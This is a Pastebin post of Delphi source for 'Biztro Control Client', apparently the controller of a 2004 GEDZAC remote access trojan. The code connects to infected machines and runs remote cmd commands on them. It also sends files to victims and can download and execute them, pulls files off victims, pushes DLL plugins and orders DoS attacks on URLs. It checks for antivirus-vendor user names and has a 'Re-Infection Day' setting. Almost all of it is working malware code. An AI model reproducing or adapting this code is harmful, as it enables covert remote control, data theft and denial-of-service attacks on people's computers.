Advertisement
FlyFar

Splash_unit.pas

Jun 7th, 2023
1,802
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 28.85 KB | Cybersecurity | 0 0
  1.    unit Splash_unit;
  2.  
  3.    interface
  4.  
  5.    uses
  6.      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.      Dialogs, jpeg, ExtCtrls, StdCtrls,URLMON,WinInet,SHELLAPI, ComCtrls, Buttons,Winsock;
  8.  
  9.    type
  10.      TSplash = class(TForm)
  11.        Image1: TImage;
  12.        Image2: TImage;
  13.        Image3: TImage;
  14.        GroupBox1: TGroupBox;
  15.        Memo1: TMemo;
  16.        ProgressBar1: TProgressBar;
  17.        Label3: TLabel;
  18.        Label2: TLabel;
  19.        SpeedButton2: TSpeedButton;
  20.        Image4: TImage;
  21.        Image5: TImage;
  22.        Image7: TImage;
  23.        Image6: TImage;
  24.        GroupBox2: TGroupBox;
  25.        Memo2: TMemo;
  26.        Edit1: TEdit;
  27.        GroupBox3: TGroupBox;
  28.        Image9: TImage;
  29.        GroupBox4: TGroupBox;
  30.        Edit2: TEdit;
  31.        Label4: TLabel;
  32.        SpeedButton3: TSpeedButton;
  33.        SpeedButton4: TSpeedButton;
  34.        SpeedButton5: TSpeedButton;
  35.        Label5: TLabel;
  36.        SpeedButton6: TSpeedButton;
  37.        Memo3: TMemo;
  38.        GroupBox5: TGroupBox;
  39.        ProgressBar2: TProgressBar;
  40.        Label1: TLabel;
  41.        ComboBox1: TComboBox;
  42.        SpeedButton7: TSpeedButton;
  43.        Image8: TImage;
  44.        Edit3: TEdit;
  45.        ProgressBar3: TProgressBar;
  46.        SpeedButton8: TSpeedButton;
  47.        SpeedButton11: TSpeedButton;
  48.        SpeedButton1: TSpeedButton;
  49.        GroupBox6: TGroupBox;
  50.        Label6: TLabel;
  51.        Label7: TLabel;
  52.        Label8: TLabel;
  53.        SpeedButton10: TSpeedButton;
  54.        SpeedButton9: TSpeedButton;
  55.        SpeedButton13: TSpeedButton;
  56.        Image10: TImage;
  57.          procedure Pro;
  58.        procedure SpeedButton2Click(Sender: TObject);
  59.        procedure Edit1MouseMove(Sender: TObject; Shift: TShiftState; X,
  60.          Y: Integer);
  61.        procedure SpeedButton1MouseMove(Sender: TObject; Shift: TShiftState; X,
  62.          Y: Integer);
  63.        procedure Memo2MouseMove(Sender: TObject; Shift: TShiftState; X,
  64.          Y: Integer);
  65.        procedure GroupBox2MouseMove(Sender: TObject; Shift: TShiftState; X,
  66.          Y: Integer);
  67.        procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  68.          Y: Integer);
  69.        procedure Image6MouseMove(Sender: TObject; Shift: TShiftState; X,
  70.          Y: Integer);
  71.        procedure SpeedButton3Click(Sender: TObject);
  72.        procedure SpeedButton5Click(Sender: TObject);
  73.        procedure SpeedButton6Click(Sender: TObject);
  74.        procedure SpeedButton4Click(Sender: TObject);
  75.        procedure Image8Click(Sender: TObject);
  76.        procedure ComboBox1Change(Sender: TObject);
  77.        procedure Edit3Change(Sender: TObject);
  78.        procedure SpeedButton7Click(Sender: TObject);
  79.        procedure BioChange(const m:string;const e:integer);
  80.        procedure error(const m:byte);
  81.        procedure Upload(const x:string);
  82.        procedure Upload2(const x:string);
  83.        procedure SendComm(m:string);
  84.        procedure Disconnect;
  85.        procedure Download(const x1:string);
  86.        procedure Local(const m:string;const e:integer);
  87.        procedure SendPlugin(const x:string);
  88.        procedure SpeedButton1Click(Sender: TObject);
  89.        procedure SpeedButton12Click(Sender: TObject);
  90.        procedure SpeedButton9Click(Sender: TObject);
  91.        procedure Sund;
  92.        procedure ConProg;
  93.        procedure SpeedButton11Click(Sender: TObject);
  94.        procedure SpeedButton10Click(Sender: TObject);
  95.        procedure SpeedButton8Click(Sender: TObject);
  96.        procedure Edit1KeyDown(Sender: TObject; var Key: Word;
  97.          Shift: TShiftState);
  98.        procedure SpeedButton13Click(Sender: TObject);
  99.        procedure FormClose(Sender: TObject; var Action: TCloseAction);
  100.        procedure Image9Click(Sender: TObject);
  101.        procedure FormCreate(Sender: TObject);
  102.        procedure Edit2KeyDown(Sender: TObject; var Key: Word;
  103.          Shift: TShiftState);
  104.      private
  105.        { Private declarations }
  106.  
  107.       public
  108.  
  109.      public
  110.        { Public declarations }
  111.  
  112.      end;
  113.        const
  114.      Made_By = 'Biztro Control Client by Byt3Cr0w/GEDZAC - Project Finish Date: 26/11/2004 - www.gedzac.tk';
  115.      SP = #13#10;
  116.      COMLIST = 'Command List:'+sp+sp+'Command name: Remote cmd'+sp+'Use: /[windows cmd command]'+sp+'Biztro will executed your commands in the windows cmd of the infected machine and send to you the result of the executed command.'+sp+'Example: /DIR C:\'+sp+sp+'Command name: Upload'+sp+'Use: Upload [url/localhost]'+sp+'With this command the remote machine downloads a file from an URL or your computer.'+sp+'Example1: Upload http://www.somepage.com/file.exe'+sp+'Example2: Upload localhost/C:\file.exe'+sp+sp+'Command name: UploadEx'+sp+'Use: Ex-Upload [url/localhost]'+sp+'With this command the remote machine downloads a file from an URL or your computer and execute it.'+sp+'Example1: Ex-Upload http://www.somepage.com/file.exe'+sp+'Example2: ExUpload localhost/C:\file.exe'+sp+sp+
  117.                'Command name: Download'+sp+'Use: Download [RemoteFile]'+sp+'With this command you can download a file from the remote machine.'+sp+'Example: Download C:\remotefile.exe'+sp+sp+'Command name: Dos'+sp+'Use: Dos [URL]'+sp+'With this command the remote machine make a D.O.S attack to an specific URL.'+sp+'Example: Dos www.url.com'+sp+sp+'Comman name: Plugin'+sp+'Use: Plugin [url of the DLL]'+sp+'With this command you will send and install a plugin for Biztro in the remote machine (Must be a valid Dynamic Library)'+sp+
  118.                'Example: Plugin www.biztroplugins.com/plugin.dll';
  119.    var
  120.      Splash: TSplash;
  121.      ID:dword;
  122.      ToLoad,j,rip:string;
  123.      control1,control2:integer;
  124.      Zock : Tsocket;
  125.      e,e1,e2,x,me:integer;
  126.      shutdownx,cp,NowCon:boolean;
  127.    implementation
  128.  
  129.    {$R *.dfm}
  130.  
  131.  
  132.    procedure Msgx(const m:string);
  133.    begin
  134.    MessageBox(0,Pchar(m),'Biztro Control Client - Gedzac Labs 2004',32);
  135.    end;
  136.  
  137.    procedure TSplash.Disconnect;
  138.    begin
  139.    try closesocket(Zock); except end;
  140.    Label5.Caption := 'Status: Disconnected';
  141.    GroupBox3.Hide;
  142.    GroupBox3.Height := 361;
  143.    Image9.Show;
  144.    Memo3.Text := Memo3.Text + 'Now Disconnected'+sp;
  145.    Splash.Update;
  146.    Edit2.Text := '';
  147.    e:=0;e1:=0;e2:=0;
  148.    NowCon := false;
  149.    end;
  150.  
  151.    procedure Tsplash.error(const m:byte);
  152.    begin
  153.    case m of
  154.    1: begin
  155.    MsgX('Error: Connection Failed'+sp+'Possible reasons:'+sp+' -The remote computer is not connected to internet.'+sp+' -The remote computer is behind a firewall.'+sp+' -The remote computer is not infected by Biztro.');
  156.    Disconnect;
  157.    end;
  158.    2: begin
  159.    Memo2.Text := Memo2.Text + comlist;
  160.    Edit1.Clear;
  161.    end;
  162.    end;
  163.    end;
  164.  
  165.  
  166.    procedure Sendx(const ss:string);
  167.    begin
  168.    Send(Zock,Pointer(ss)^,Length(ss),0);
  169.    end;
  170.  
  171.    procedure sendf(const m:string);
  172.       var   vz:array [0..1023] of Char;
  173.        ozz,fw:integer;
  174.        iam:file;
  175.        z,afuera,fat:string;
  176.       begin
  177.       z := m;
  178.        Delete(z,1,5);
  179.    z := Copy(z,1, Pos('HTTP/1',z)-2);
  180.       if not fileexists(z) then
  181.       begin
  182.    writeln('mno');
  183.       end;
  184.       fw := FileOpen(z,0);
  185.       fat := floattostr(getfilesize(fw,nil));
  186.       fileclose(fw);
  187.       AssignFile(iam,z);
  188.             filemode:=0;
  189.            try reset(iam,1); except end;
  190.        afuera := 'HTTP/1.1 200 OK' + SP
  191.            + 'Accept-Ranges: bytes' + SP
  192.            + 'Content-Length: '+fat + sp
  193.            + 'Keep-Alive: timeout=15, max=100' + sp
  194.            + 'Connection: Keep-Alive' + sp
  195.            + 'Content-Type: application/x-msdownload' + sp + sp;
  196.               Send( x, Addr(afuera[1])^, Length(afuera), 0 );
  197.        repeat
  198.          BlockRead(iam,vz[0],SizeOf(vz),ozz);
  199.          if ozz<=0 then break; if send(x,vz[0],ozz,0)<=0 then break;
  200.        until ozz<>1024;
  201.        closefile(iam);
  202.        end;
  203.  
  204.    function Wakesock: Boolean;
  205.    var
  206.      anne: TWSAData;
  207.    begin
  208.      Result :=  WSAStartup( $101, anne ) = 0
  209.    end;
  210.  
  211.  
  212.    function LoadService(casa:integer): Integer;
  213.    var direc: TSockAddrIn;
  214.    begin
  215.      Result := Socket( PF_INET, SOCK_STREAM, IPPROTO_TCP );
  216.      if Result = INVALID_SOCKET then
  217.        Exit;
  218.      with direc do begin
  219.        sin_family := AF_INET;
  220.        sin_port := htons(casa);
  221.        sin_addr.S_addr := 0;
  222.      end;
  223.  
  224.      if Bind( Result, direc, SizeOf(direc) ) <> 0 then begin
  225.        Result := INVALID_SOCKET;
  226.        Exit;
  227.      end;
  228.  
  229.      if Listen(Result,5) <> 0 then
  230.        Result := INVALID_SOCKET;
  231.    end;
  232.  
  233.    procedure bye(Sock:Integer);
  234.    begin
  235.      ShutDown(Sock,2);
  236.      CloseSocket(Sock);
  237.    end;
  238.  
  239.    procedure RemoteModule(me:integer);
  240.    var
  241.      Data: array[ 0..8191 ] of Char;
  242.      w,z: Pointer;
  243.      l: Char;
  244.      current: Integer;
  245.        begin
  246.      x := Accept(me, nil, nil );
  247.      repeat
  248.  
  249.        current := Recv(x, Data, SizeOf(Data), 0 );
  250.        if current = 0 then
  251.          current := SOCKET_ERROR
  252.        else
  253.        begin
  254.          w := @Data;
  255.          z := Pointer(Integer(@Data) + current);
  256.          l := #0;
  257.          while Integer(w) < Integer(z) do begin
  258.            if (l = #13) and (Char(w^) = #10 ) then begin
  259.              Inc( Integer(w));
  260.              Continue;
  261.            end;
  262.            l := Char(w^);
  263.            if l = #13 then
  264.            begin
  265.                                     TRY
  266.        if Pos('GET',j) > 0 then sendf(j);
  267.                                 except end;
  268.            j := '';
  269.            end else
  270.              j := j + l;
  271.            Inc(Integer(w));
  272.          end;
  273.        end;
  274.      until current = SOCKET_ERROR;
  275.      bye(x);
  276.    end;
  277.  
  278.    procedure Server;
  279.    begin
  280.      if not Wakesock then exit;
  281.      me := LoadService(2777);
  282.      if me = INVALID_SOCKET then exit;
  283.      repeat
  284.    RemoteModule(me);
  285.      until shutdownx;
  286.      bye(me);
  287.      WSACleanUp;
  288.     end;
  289.  
  290.    function packet(pack:string):boolean;
  291.    var bag :array [0..2048] of char;
  292.    begin
  293.      zeroMemory(@bag[0],SizeOf(bag));
  294.      if(Recv(Zock,bag,SizeOf(bag),0)=SOCKET_ERROR)or(Copy(bag,1,Length(pack))<>pack) then
  295.      result:=False else Result:=True;
  296.      end;
  297.  
  298.      function Connectx(m:string):boolean;
  299.      var direcx: TSockAddr;
  300.         InitDllSock  : TWSAData;
  301.    begin
  302.     WSAStartup( $101, InitDllSock );
  303.      Zock := Socket( PF_INET, SOCK_STREAM, IPPROTO_TCP );
  304.      if Zock = INVALID_SOCKET then exit;
  305.      with direcx do begin
  306.        sin_family := AF_INET;
  307.        sin_port := htons(666);
  308.        sin_addr.S_addr := Inet_Addr(pchar(m));
  309.      end;
  310.      if not Connect(Zock,direcx,SizeOf(direcx)) = 0 then Result := false else Result := true;
  311.    Sendx('P'+sp);
  312.     if packet('1') then Result:=true else begin Result := false; CloseSocket(Zock); end;
  313.    end;
  314.  
  315.    function RemoteBioSetup:string;
  316.    var bag :array [0..2048] of char;
  317.    begin
  318.    Sendx('Sta'+sp);
  319.    Recv(Zock,bag,SizeOf(bag),0);
  320.    Result := Copy(bag,1,300);
  321.    end;
  322.  
  323.    function ip:string;
  324.    var somedata:TWSAData;
  325.    begin
  326.        WSAStartup(257,somedata);
  327.        Result := Inet_ntoa(pinaddr(GetHostByName(nil)^.h_addr_list^ )^);
  328.        WSACleanup;
  329.    end;
  330.  
  331.    function MakeD(x:string):string;
  332.    var i:integer;
  333.        s,m,from:string;
  334.        begin
  335.    m := x;
  336.    Delete(m,1,3);
  337.  
  338.    from := m;
  339.    for i:= 1 to Length(m) do if m[i] <> #32 then s:=s+m[i] else s:=s+'+';
  340.    m := Copy(s,1,3);
  341.    Delete(s,1,3);
  342.    s := 'Biz0'+m+s;
  343.    Result := s;
  344.    end;
  345.  
  346.  
  347.    procedure TSplash.Local(const m:string;const e:integer);
  348.    var i:integer;
  349.    begin
  350.    case e of
  351.    1: begin
  352.    GroupBox3.Hide;
  353.    Image9.Hide;
  354.    GroupBox6.Show;
  355.    Splash.Update;
  356.    for i := 0 to 113 do begin sleep(10); GroupBox6.Height := 0+i; Splash.Update; end;i:=0;
  357.    Splash.Update;
  358.    Label6.Caption := 'From: '+m;
  359.    Label7.Caption := 'to: '+rip;
  360.    Label8.Caption := 'Status: Transfering...';
  361.    Splash.Update;
  362.    end;
  363.    2: begin
  364.    Label8.Caption := 'Status: Done';
  365.    Splash.Update;
  366.    sleep(800);
  367.    for i := 0 to 113 do begin sleep(10); GroupBox6.Height := 113-i; Splash.Update; end;i:=0;
  368.    Splash.Update;
  369.    GroupBox3.Show;
  370.    GroupBox6.Hide;
  371.    end;
  372.    3:begin
  373.    GroupBox3.Hide;
  374.    Image9.Hide;
  375.    GroupBox6.Show;
  376.    Splash.Update;
  377.    for i := 0 to 113 do begin sleep(10); GroupBox6.Height := 0+i; Splash.Update; end;i:=0;
  378.    Label6.Caption := 'From: http://'+ip+':2777/'+m;
  379.    Label7.Caption := 'to: '+rip;
  380.    Label8.Caption := 'Status: Downloading...';
  381.    Splash.Update;
  382.    end;
  383.    end;
  384.    end;
  385.  
  386.    procedure Tsplash.Download(const x1:string);
  387.    var i:integer;
  388.        ram,k,ex,m,x:string;
  389.    begin
  390.    Randomize;
  391.    m := x1;
  392.    Delete(m,1,9);
  393.    k := m;
  394.    for i := 1 to Length(m) do if m[i] = #32 then m:=MakeD(k);i:=0;
  395.    for i := Length(m) downto 0 do ex:=ex+m[i]; i:=0;
  396.    for i := 1 to Length(ex) do if ex[i] <> '.' then x:=x+ex[i] else break;i:=0;ex:='';
  397.    for i := Length(x) downto 0 do ex:=ex+x[i]; i:=0;
  398.    ram := 'C:\BiztroDownload'+IntToStr(Random(999999))+'.'+ex;
  399.    Memo2.Text := Memo2.Text + 'Downloading file from: http://'+rip+':2888/'+m+sp;
  400.    Local(m,3);
  401.    Splash.Update;
  402.    UrlDownLoadToFile(nil,PchaR('http://'+rip+':666/'+m),Pchar(ram),0,nil);
  403.    Memo2.Text := Memo2.Text + 'Downloaded file in: '+ram+sp;
  404.    Local(m,2);
  405.    end;
  406.  
  407.    procedure Tsplash.Upload2(const x:string);
  408.    var m,re:string;
  409.    bag :array [0..2048] of char;
  410.    o:integer;
  411.    label u;
  412.    label k;
  413.    begin
  414.    m:=x;
  415.    Delete(m,1,9);
  416.    if Pos('exupload localhost/',x) > 0 then goto u;
  417.    goto k;
  418.    u:
  419.    CreateThread(nil,0,@Server,nil,0,ID);
  420.    Delete(m,1,10);
  421.    m := 'http://'+ip+':2777/'+m;
  422.    o:=1;
  423.    k:
  424.    Memo2.Text := Memo2.Text + 'Sending upload command...'+sp;
  425.    if o = 1 then Local(m,1);
  426.    Sendx('/+\'+m+sp);
  427.    Memo2.Text := Memo2.Text + 'Waiting for reply...'+sp;
  428.    Recv(Zock,bag,SizeOf(bag),0);
  429.    re:=Copy(bag,1,300);
  430.    if Pos('B1',re) > 0 then if Pos('B1*',re) > 0 then Memo2.Text := Memo2.Text + 'Biztro can not upload the file.'+sp else begin Delete(re,1,2); Memo2.Text := Memo2.Text + 'Uploaded file in: '+re+sp;
  431.    if o=1 then  Local(m,2);
  432.    m:=''; e:=0;
  433.    end;
  434.    end;
  435.  
  436.    procedure Tsplash.Upload(const x:string);
  437.    var m,re:string;
  438.    bag :array [0..2048] of char;
  439.    o:integer;
  440.    label u;
  441.    label k;
  442.    begin
  443.    m:=x;
  444.    Delete(m,1,7);
  445.    if Pos('upload localhost/',x) > 0 then goto u;
  446.    goto k;
  447.    u:
  448.    Delete(m,1,10);
  449.    CreateThread(nil,0,@Server,nil,0,ID);
  450.    m := 'http://'+ip+':2777/'+m;
  451.    o:=1;
  452.    k:
  453.    Memo2.Text := Memo2.Text + 'Sending upload command...'+sp;
  454.    if o = 1 then Local(m,1);
  455.    Sendx('/*\'+m+sp);
  456.    Memo2.Text := Memo2.Text + 'Waiting for reply...'+sp;
  457.    Recv(Zock,bag,SizeOf(bag),0);
  458.    re:=Copy(bag,1,300);
  459.    if Pos('B1',re) > 0 then if Pos('B1*',re) > 0 then Memo2.Text := Memo2.Text + 'Biztro can not upload the file.'+sp else begin Delete(re,1,2); Memo2.Text := Memo2.Text + 'Uploaded file in: '+re+sp;
  460.    if o=1 then  Local(m,2);
  461.    m:=''; e:=0;
  462.    end;
  463.    end;
  464.  
  465.  
  466.    procedure  TSplash.SendPlugin(const x:string);
  467.    var m:string;
  468.    begin
  469.    m:=x;
  470.    Delete(m,1,7);
  471.    Sendx('/0\'+m+sp);
  472.    Memo2.Text := Memo2.Text + 'The remote plugin url was sended.'+sp;
  473.    end;
  474.  
  475.    function MakeDownFile(m:string):boolean;
  476.    begin
  477.    Sendx('MID'+m+sp);
  478.    if not packet('D1') then Result := false else Result := true;
  479.    end;
  480.  
  481.  
  482.    procedure TSplash.BioChange(const m:string;const e:integer);
  483.    var t:string;
  484.        i:integer;
  485.    label fin;
  486.    begin
  487.    if e=1 then t := '<I>'; if e=2 then t := '<E>'; if e=3 then t := '<T>';
  488.    for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 409+i; Splash.Update; end;
  489.    e2:=1;
  490.    sleep(500);
  491.    Splash.Update;
  492.    SpeedButton7.Caption := 'Sending new settings...';
  493.    Memo2.Text := Memo2.Text + 'Sending new settings...'+sp;
  494.    Splash.Cursor := crHourGlass;
  495.    SpeedButton7.Cursor := crNo;
  496.    ProgressBar3.StepIt;
  497.    ProgressBar3.Show;
  498.    Splash.Update;
  499.    Sendx(t+m+sp);
  500.    sleep(1000);
  501.    SpeedButton7.Caption := 'Waiting for reply...';
  502.    Memo2.Text := Memo2.Text + 'Waiting for reply...'+sp;
  503.    ProgressBar3.StepIt;
  504.    Splash.Update;
  505.    sleep(1000);
  506.    if not packet('E1') then begin Error(1); exit; goto fin; end;
  507.    Splash.Update;
  508.    SpeedButton7.Caption := 'Done';
  509.    Memo2.Text := Memo2.Text + 'The remote Bio Setup was changed'+sp;
  510.    fin:
  511.    SpeedButton7.Cursor := crDefault;
  512.    Splash.Cursor := crDefault;
  513.    ProgressBar3.StepIt;
  514.    Splash.Update;
  515.    Sleep(800);
  516.    SpeedButton7.Caption := '';
  517.    Splash.Update;
  518.    if e2 = 1 then begin
  519.    for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 409-i; Splash.Update; end;
  520.    e2:=0;
  521.    end;
  522.    SpeedButton7.Caption := 'Change';
  523.    ComboBox1.Text := 'Options';
  524.    Edit3.Text := 'Select an Option';
  525.    Edit3.Enabled := false;
  526.    e1:=0;
  527.    ProgressBar3.Hide;
  528.    Splash.Update;
  529.    end;
  530.  
  531.    procedure TSplash.SendComm(m:string);
  532.    var bag:array [0..100] of char;
  533.     a,b,c,d,ram:string;
  534.     k:textfile;
  535.     begin
  536.    Randomize;
  537.    ram := 'C:\BiztroDat'+IntToStr(Random(999999))+'.txt';
  538.    b:=m;
  539.    If Pos('/echo',b) > 0 then begin Memo2.Text := Memo2.Text + 'The ECHO Command is not allowed.'+sp; exit; end;
  540.    If Pos('/@echo',b) > 0 then begin Memo2.Text := Memo2.Text + 'The ECHO Command is not allowed.'+sp; exit; end;
  541.    Delete(b,1,1);
  542.    Sendx('BXC'+b+sp);
  543.    Recv(Zock,bag,SizeOf(bag),0);
  544.    a := Copy(bag,1,100);
  545.    UrlDownLoadToFile(nil,PchaR('http://'+rip+':666/'+a),Pchar(ram),0,nil);
  546.    try
  547.    assignfile(k,ram);
  548.    reset(k);
  549.    while not eof(k) do begin
  550.    Readln(k,c);
  551.    d:=d+c+sp;
  552.    end;
  553.    Memo2.Text := Memo2.Text +sp+d+sp;
  554.    CloseSOcket(Zock);
  555.    closefile(k);
  556.    Erase(k);
  557.    if not connectx(rip) then Error(2);
  558.    except end;
  559.    end;
  560.  
  561.  
  562.    function CheckHealth:boolean;
  563.    begin result := true; end;
  564.  
  565.    function CheckRAM:boolean;
  566.    var RAM:TMemoryStatus;
  567.    begin
  568.    RAM.dwLength := sizeof(RAM);
  569.    GlobalMemoryStatus(RAM);
  570.    with RAM do if dwMemoryLoad > 95 then Result := false else Result := true;
  571.    end;
  572.  
  573.    function CheckUser:boolean;
  574.    var s: dword;
  575.    c:array[0..255] of char;
  576.    user:string;
  577.    begin
  578.    s := 256;
  579.    if GetUserName(c,s) then user:=c else begin Result := false; exit; end;
  580.    if (Pos('Antivirus',user)>0) or (Pos('PER An',user)>0) or (Pos('Panda An',user)>0) or (Pos('Norman An',user)>0) or (Pos('Symantec',user)>0) then Result := false;
  581.    end;
  582.  
  583.  
  584.  
  585.    function CheckISP:boolean;
  586.    begin
  587.     Result := InternetGetConnectedState(nil, 0);
  588.    end;
  589.  
  590.  
  591.    procedure TSplash.Pro;
  592.    var R: TRect;
  593.    begin
  594.          Memo1.Visible := true;
  595.          ProgressBar1.Visible := true;
  596.          Splash.Update;
  597.    if control1 = 1 then exit;
  598.    control1 := 1;
  599.    e:=0;e1:=0;e2:=0;
  600.    Memo1.Lines.Add('Loading...');
  601.    Memo1.Lines.Add('Checking integrity...');
  602.    ProgressBar1.StepIt;
  603.    Splash.Update;
  604.    sleep(500);
  605.    if CheckHealth then Memo1.Lines.Add('Integrity OK') else begin Msgx('Error: Wrong Integrity - Please install again.'); exitprocess(0); end;
  606.    Memo1.Lines.Add('Checking space in RAM...');
  607.    ProgressBar1.StepIt;
  608.    Splash.Update;
  609.    sleep(500);
  610.    if CheckRAM then Memo1.Lines.Add('Space in RAM OK') else begin Msgx('Error: BCC need more RAM - Please free some space in memory.'); exitprocess(0); end;
  611.    Memo1.Lines.Add('Checking Local machine...');
  612.    ProgressBar1.StepIt;
  613.    Memo1.Visible := true;
  614.    Splash.Update;
  615.    sleep(500);
  616.    if CheckUser then Memo1.Lines.Add('Local machine OK') else begin Msgx('Error: For security reasons BCC can not run in this machine - Please remove this program from your HD.'); exitprocess(0); end;
  617.    Memo1.Lines.Add('Checking for Internet...');
  618.    ProgressBar1.StepIt;
  619.    Splash.Update;
  620.    sleep(500);
  621.    if CheckISP then Memo1.Lines.Add('Internet is OK') else begin Msgx('Error: BCC need internet service - Please connect to internet'); exitprocess(0); end;
  622.    Splash.Update;
  623.    sleep(800);
  624.    SystemParametersInfo(SPI_GETWORKAREA, 0, @R, 0);
  625.       SetBounds(R.Left, R.Top, R.Right-R.Left, R.Bottom-R.Top);
  626.       ProgresSBar1.Destroy;
  627.       Image1.Destroy;
  628.       Image2.Destroy;
  629.       Image3.Destroy;
  630.       Memo1.Destroy;
  631.       Label2.Destroy;
  632.       Label3.Destroy;
  633.       SpeedButton2.Destroy;
  634.       GroupBox1.Destroy;
  635.    Image4.Visible := true;
  636.    Image5.Visible := true;
  637.    Image6.Visible := true;
  638.    Image7.Visible := true;
  639.    Image9.Visible := true;
  640.    Image10.Visible := true;
  641.    GroupBox2.Visible := true;
  642.  
  643.     PostMessage(ProgressBar2.Handle, $0409, 0,$00804000);
  644.     PostMessage(ProgressBar3.Handle, $0409, 0,$00804000);
  645.    Splash.BorderStyle := bsSingle;
  646.  
  647.       end;
  648.  
  649.  
  650.  
  651.    procedure TSplash.SpeedButton2Click(Sender: TObject);
  652.    begin
  653.    Pro;
  654.    end;
  655.  
  656.  
  657.  
  658.  
  659.    procedure TSplash.Edit1MouseMove(Sender: TObject; Shift: TShiftState; X,
  660.      Y: Integer);
  661.    begin
  662.    SpeedButton1.Font.Color := $00C08000;
  663.    end;
  664.  
  665.    procedure TSplash.SpeedButton1MouseMove(Sender: TObject;
  666.      Shift: TShiftState; X, Y: Integer);
  667.    begin
  668.    SpeedButton1.Font.Color := $009F5000;
  669.    end;
  670.  
  671.    procedure TSplash.Memo2MouseMove(Sender: TObject; Shift: TShiftState; X,
  672.      Y: Integer);
  673.    begin
  674.    SpeedButton1.Font.Color := $00C08000;
  675.    end;
  676.  
  677.    procedure TSplash.GroupBox2MouseMove(Sender: TObject; Shift: TShiftState;
  678.      X, Y: Integer);
  679.    begin
  680.    SpeedButton1.Font.Color := $00C08000;
  681.    end;
  682.  
  683.    procedure TSplash.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  684.      Y: Integer);
  685.    begin
  686.    SpeedButton1.Font.Color := $00C08000;
  687.    end;
  688.  
  689.    procedure TSplash.Image6MouseMove(Sender: TObject; Shift: TShiftState; X,
  690.      Y: Integer);
  691.    begin
  692.    SpeedButton1.Font.Color := $00C08000;
  693.    end;
  694.  
  695.  
  696.    procedure TSplash.ConProg;
  697.    begin
  698.    NowCon := true;
  699.    ProgressBar2.Show;
  700.    Label5.Caption := 'Status: Connecting to '+Edit2.Text;
  701.    Memo2.Text := Memo2.Text + 'Connecting to '+Edit2.Text+'...'+sp;
  702.    Splash.Update;
  703.    SpeedButton3.Caption := 'Connecting...';
  704.    SpeedButton5.Enabled := true;
  705.    Splash.Update;
  706.    if not Connectx(Edit2.Text) then
  707.    begin
  708.    SpeedButton3.Caption := 'Connect';
  709.    Label5.Caption := 'Status: Connection failed.';
  710.    Memo2.Text := Memo2.Text + 'Connection failed.'+sp;
  711.    Error(1);
  712.    Splash.Update;
  713.    exit;
  714.    end;
  715.    ProgressBar2.StepIt;
  716.    sleep(500);
  717.    ProgressBar2.StepIt;
  718.    sleep(500);
  719.    ProgressBar2.StepIt;
  720.    sleep(500);
  721.    ProgressBar2.StepIt;
  722.    sleep(500);
  723.    SpeedButton3.Caption := 'Connected';
  724.    Label5.Caption := 'Status: Connected to '+Edit2.Text;
  725.    Memo2.Text := Memo2.Text + 'Connected to '+Edit2.Text+sp;
  726.    SpeedButton3.Caption := 'Connect';
  727.    ProgressBar2.Hide;
  728.    Splash.Update;
  729.    GroupBox3.Show;
  730.    Image9.Hide;
  731.    Memo3.Text := RemoteBioSetup;
  732.    rip := Edit2.Text;
  733.    end;
  734.  
  735.    procedure TSplash.SpeedButton3Click(Sender: TObject);
  736.    begin
  737.    ConProg;
  738.    end;
  739.  
  740.    procedure TSplash.SpeedButton5Click(Sender: TObject);
  741.    begin
  742.    if not NowCon then exit;
  743.    SpeedButton5.Caption := 'Disconnecting';
  744.    Label5.Caption := 'Status: Disconnecting from '+rip;
  745.    Splash.Update;
  746.    ProgressBar2.StepIt;
  747.    ProgressBar2.Show;
  748.    Splash.Update;
  749.    sleep(500);
  750.    ProgressBar2.StepIt;
  751.    sleep(500);
  752.    ProgressBar2.StepIt;
  753.    sleep(500);
  754.    ProgressBar2.StepIt;
  755.    sleep(500);
  756.    CloseSocket(Zock);
  757.    GroupBox3.Hide;
  758.    Image9.Show;
  759.    SpeedButton5.Caption := 'Disconnect';
  760.    Label5.Caption := 'Status: Disconnected';
  761.    Splash.Update;
  762.    ProgressBar2.Hide;
  763.    NowCon := false;
  764.    end;
  765.  
  766.  
  767.  
  768.    procedure TSplash.SpeedButton6Click(Sender: TObject);
  769.    begin
  770.    Image9.Visible := false;
  771.    Image8.Visible := false;
  772.    Label1.Left := 100;
  773.    Label1.Caption := 'Biztro IP List';
  774.    GroupBox3.Visible := true;
  775.    if not fileexists('list.ini') then Memo3.Text := 'The IP list is emty.' else Memo3.Lines.LoadFromFile('list.ini');
  776.    end;
  777.  
  778.    procedure TSplash.SpeedButton4Click(Sender: TObject);
  779.    var a:textfile;
  780.    begin
  781.    if Edit2.Text = '' then begin Msgx('Please put a valid IP Address'); exit; end;
  782.    AssignFile(a,'list.ini');
  783.    if not fileexists('list.ini') then rewrite(a) else append(a);
  784.    writeln(a,Edit2.Text); closefile(a);
  785.    Msgx(Edit2.Text+' was added to the IP List');
  786.  
  787.    end;
  788.  
  789.    procedure TSplash.Image8Click(Sender: TObject);
  790.    var i:integer;
  791.    begin
  792.    if e = 0 then begin
  793.    for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 361+i; Splash.Update; e:=1;  end;
  794.    exit;
  795.    end;
  796.    if e = 1 then begin
  797.    for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 385-i; Splash.Update; e:=0; end;
  798.    e1:=0;
  799.    exit;
  800.    end;
  801.    end;
  802.  
  803.    procedure TSplash.ComboBox1Change(Sender: TObject);
  804.    begin
  805.    if ComboBox1.Text <> 'Options' then Edit3.Enabled := true else Edit3.Enabled := false;
  806.    if ComboBox1.Text = 'Re-Infection Day' then Edit3.Text := '15';
  807.    if ComboBox1.Text = 'Cmd Status' then Edit3.Text := 'Enable';
  808.    if ComboBox1.Text = 'Max Threads' then Edit3.Text := '26';
  809.  
  810.    end;
  811.  
  812.    procedure TSplash.Edit3Change(Sender: TObject);
  813.    var i:integer;
  814.    begin
  815.    if Edit3.Text <> '' then if e1=0 then begin
  816.    for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 385+i; Splash.Update; end;
  817.    e1:=1;
  818.    exit;
  819.    end;
  820.    end;
  821.  
  822.    procedure TSplash.SpeedButton7Click(Sender: TObject);
  823.    var a:integer;
  824.        b:string;
  825.    begin
  826.    b:=''; a:=0;
  827.    b:= LowerCase(Edit3.Text);
